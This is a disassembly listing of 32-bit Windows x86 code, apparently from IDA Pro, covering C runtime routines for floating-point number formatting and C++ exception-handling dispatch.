		nop
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 27005E1h
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF

loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------

loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883

loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_433E80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_433E80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5

loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9

loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916

loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------

loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax

loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax

loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_435FE0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4CDA24, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4CDA20
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------

loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h

loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_433E80
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4CDA24, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h

loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl

loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4CDA24, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_4CDA28
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4CDA20
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------

loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h

loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------

loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax

loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_433E80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_4CDA24, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------

loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35

loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi

loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h

loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_4CDA20, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4CDA28, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_4CDA20
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4CDA28, ecx
		setl	cl
		mov	byte_4CDA2C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4CDA28, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6

loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al

loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------

loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h

loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_4CDA24, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4CDA24, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_4CDA24, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------

loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D

loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi

loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552

loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------

loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------

loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h

loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax

loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A

loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552

loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_4CDA30
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_4CDA34
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552

loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552

loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax

loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E

loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B

loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C

loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------

loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]

loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------

loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx

loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------

loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4CDA38, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90

loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax

loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88

loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------

loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7

loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7

loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7

loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB

loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------

loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax

loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037

loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552

loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0

loc_41D052:				; CODE XREF: sub_41CFF1+53j
